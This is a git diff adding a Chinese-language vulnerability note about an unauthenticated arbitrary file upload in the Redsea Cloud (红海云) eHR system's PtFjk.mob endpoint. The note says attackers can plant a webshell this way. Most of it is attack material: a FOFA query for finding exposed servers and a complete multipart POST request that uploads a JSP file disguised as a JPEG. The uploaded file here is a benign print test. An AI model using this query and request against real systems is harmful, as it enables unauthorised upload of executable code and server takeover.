diff --git a/红海云eHR-PtFjk.mob存在任意文件上传漏洞.md b/红海云eHR-PtFjk.mob存在任意文件上传漏洞.md
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index 0000000..40dbe11
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+## 红海云eHR-PtFjk.mob存在任意文件上传漏洞
+
+红海云EHR系统PtFjk.mob接口处存在未授权文件上传漏洞，攻击者可上传webshell来命令执行，获取服务器权限。
+
+## fofa
+```
+body="/RedseaPlatform/skins/images/favicon.ico"
+```
+
+
+## poc
+```
+POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
+Host: 
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
+
+------WebKitFormBoundaryt7WbDl1tXogoZys4
+Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
+Content-Type:image/jpeg
+
+<% out.print("hello,eHR");%>
+------WebKitFormBoundaryt7WbDl1tXogoZys4--
+```